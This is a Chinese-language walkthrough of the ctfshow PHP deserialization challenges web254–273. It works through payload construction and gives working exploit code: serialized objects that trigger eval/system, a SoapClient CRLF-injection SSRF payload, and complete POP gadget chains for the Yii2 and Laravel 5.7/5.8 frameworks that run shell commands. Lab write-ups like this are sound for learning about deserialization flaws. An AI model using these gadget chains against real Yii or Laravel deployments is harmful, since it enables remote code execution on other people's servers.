ctfshow—web入门—反序列化

web254

别看上面乌拉乌拉一大堆,实际上就是要检测你传入的username和password和类中定义的username和password一不一样。所以直接get传参就可以了

payload:?username=xxxxxx&password=xxxxxx

web255

这一关和上一关的区别在于user赋值时会从cookie中获取user的值,并且还将user的值反序列化,所以我们需要将user先进行序列化,序列化的内容为:

完了得到 序列化内容通过cookie传给user,就过关了。

web256

这一关的关键部分

这里是!==要求username和password不能相等,所以我们在创建序列化内容的时候改一下就行。剩下的内容和上一关没什么区别。 

 web257

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

 仔细观察代码我们会发现backdoor类里面有个eval()函数,我们只需要想办法让eval函数执行我们需要的命令就能得到flag,所以我们在反序列化时创建一个 backDoor 类的实例,并且 code 属性包含恶意代码

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("tac flag.php");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

web258

这一关把把O:过滤了,可以利用str_replace函数把O:换成O:+;另外本题class用的是public所以要把private改为public构造代码

<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
$b=serialize($b);
$b=str_replace('O:', 'O:+',$b);
echo urlencode($b);

web259

通关要求是接受一个http协议请求包,数据包其中的x_forwarded_for头信息为:127.0.0.1,且文中出现了explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])这段代码,意为将接受到的数据根据逗号来进行分割并存在一个数组当中,然后又使用了两次array_pop($xff);,对数组末尾元素进行去除了两次。再对$ip的值进行判断,

如果是127.0.0.1则进入else,接受一个post的请求,要求提交的数据中有token,其值要等于ctfshow.

观察页面源代码getflag()并不存在。这个时候就要引出PHP中的一个原生类Soapclien。

SoapClient 是 PHP 中用于访问 SOAP 服务的类。通过 SoapClient 类,PHP 可以在 Web 服务之间进行通信,从而实现远程过程调用(RPC)。使用 SOAP,您可以在不同的平台之间共享应用程序和信息,并提供跨语言、跨平台对数据和服务的访问。

Soapclient中的__call魔术方法,当访问类中一个不存在的方法时触发,该方法就会被传递给 __call 方法进行处理,并将其转化为一条SOAP请求发送给 Web 服务。 

所以我们需要构造的内容就有:

1.X-Forwarded-For:127.0.0.1,127.0.0.1(其实这里三个127.0.0.1也可以,两个的话array_pop会将数组中的最后一个元素弹出并赋值)

2.Content-Length:(string)strlen($post_string)

3.POST数据:token=ctfshow

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,
    'user_agent'=>'chendi^^X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'. 
        '^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,
    'uri'=> "dwzzzzzzzzzz"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

 完了之后get传参VIP的值,但是会发现还没有出现flag,这时我们直接访问flag.txt就会出现flag

 web260

不多说什么了,正则表达式匹配,我们直接传参

web261 

在php7.4.0开始,如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。 我们不需要考虑__wakeup,

只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)
利用__construct函数把username和password写进去
构造:

<?php

class ctfshowvip{
    public $username;
    public $password;
    public function __construct(){
        $this->username='877.php';
    }
}

echo serialize(new ctfshowvip());

?>

完了之后直接访问877.php就得到flag了

web262

看完后发现没有和flag有关的东西,不过可以在注释中发现meaasge.php 访问一下

代码最后写明如果token是admin则会输出flag ,要让判断token=='admin',序列化的形式应该这样:O:7:"message":1:{s:5:"token";s:5:"admin";}反序列化出来就是class message{ public $token='admin';}。

正常情况下

<?php 
class message{
    public $from='d';
    public $msg='m';
    public $to='1';
    public $token='user';
    }
$msg= serialize(new message);
echo $msg;
output:  
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";} 

但这里我们可以提前闭合,并将token的值改为admin

所以我们将s:5:"token";s:4:"user";分隔开,然后将

s:5:"token";s:5:"admin";放进去,所以我们进行构造,注意闭合

<?php 
class message{
    public $from='d';
    public $msg='m';
    public $to='1";s:5:"token";s:5:"admin";}';
    public $token='user';
    }
$msg= serialize(new message);
echo $msg;

output:  
O:7:"message":4:O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}  

但是 会发现这里长度出错了,我们就可以利用前面题目给的fuck变为loveu,来补充这27的差值,一个fuck比一个loveU多一个长度,27个fuck就会多出27个长度

......s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}  
<?php 
class message{
    public $from='d';
    public $msg='m';
    public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
    public $token='user';
    }
$msg= serialize(new message);
echo $msg;

output:  
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

替换后:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

payload

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web263 

 不会,太complex了,多看一眼就会爆炸。

web264

同262

web265

这里我们可以知道,当最后token的值强等于password的时候才会输出flag

我们可以设置this->password的值指向this->token的地址,则可保证password的值与token的值始终强等于。 

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$a = new ctfshowAdmin('1','1');
echo serialize($a);
output:O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}
payload:?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}

web266 

这里将ctfshow进行了过滤, 

关键代码:if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);

web267

刚开始一番尝试后,进入这个页面,然后用admin/admin这个账户登录

在这个页面的源代码会发现多了一行,?view-source.访问?r=site%2Fabout&view-source拿到提示

之后就不会了看大佬的方法 要用这个才能过。

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace phpDocumentor\Reflection\DocBlock\Tags{
 
    use Faker\Generator;
 
    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

 web268and269

同267的方法

web270

换个链子

<?php
 
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /fl*';
        }
    }
}
namespace yii\db{
 
    use yii\web\DbSession;
 
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{
 
    use yii\rest\IndexAction;
 
    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}
 
namespace{
 
    use yii\db\BatchQueryResult;
 
    echo base64_encode(serialize(new BatchQueryResult()));
}

web271

考察的是laravel反序列化RCE漏洞,看大佬的laravel5.7的通用链

<?php
//define('LARAVEL_START', microtime(true));
//
//require __DIR__ . '/../vendor/autoload.php';
//
//$app = require_once __DIR__ . '/../bootstrap/app.php';
//
//$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
//$response = $kernel->handle(
//    $request = Illuminate\Http\Request::capture()
//);
//@unserialize($_POST['data']);
//highlight_file(__FILE__);
//
//$kernel->terminate($request, $response);
     
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;
        public function __construct($test,$app,$command,$parameters)
        {
            $this->test=$test;//一个实例化的类Illuminate\Auth\GenericUser
            $this->app=$app;//一个实例化的类Illuminate\Foundation\Application
            $this->command=$command;//要执行的php函数system
            $this->parameters=$parameters;//要执行的php函数的参数array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected$default;
        public function __construct($default=null)
        {
        $this->default=$default;
        }
    }

}

namespace Illuminate\Foundation
{
    class Application{
        protected $instances=[];
        public function __construct($instances=[])
        {
        $this->instances['Illuminate\Contracts\Console\Kernel']=$instances;
        }
    }

}

namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("hello"=>"world"));
    $app = new Illuminate\Foundation\Application();
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator,$application,'system',array('tac /flag'));
    //echo urlencode(serialize($pendingcommand));
    echo urlencode(serialize($pendingcommand));

}

完了post传参就可以了。 

web272and273

laravel5.8的链子

<?php
namespace Illuminate\Broadcasting{
 
    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;
 
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection="cat /flag";
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver="system";
 
    }
}
namespace{
 
    use Illuminate\Broadcasting\PendingBroadcast;
 
    echo urlencode(serialize(new PendingBroadcast()));
}

未完待续

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值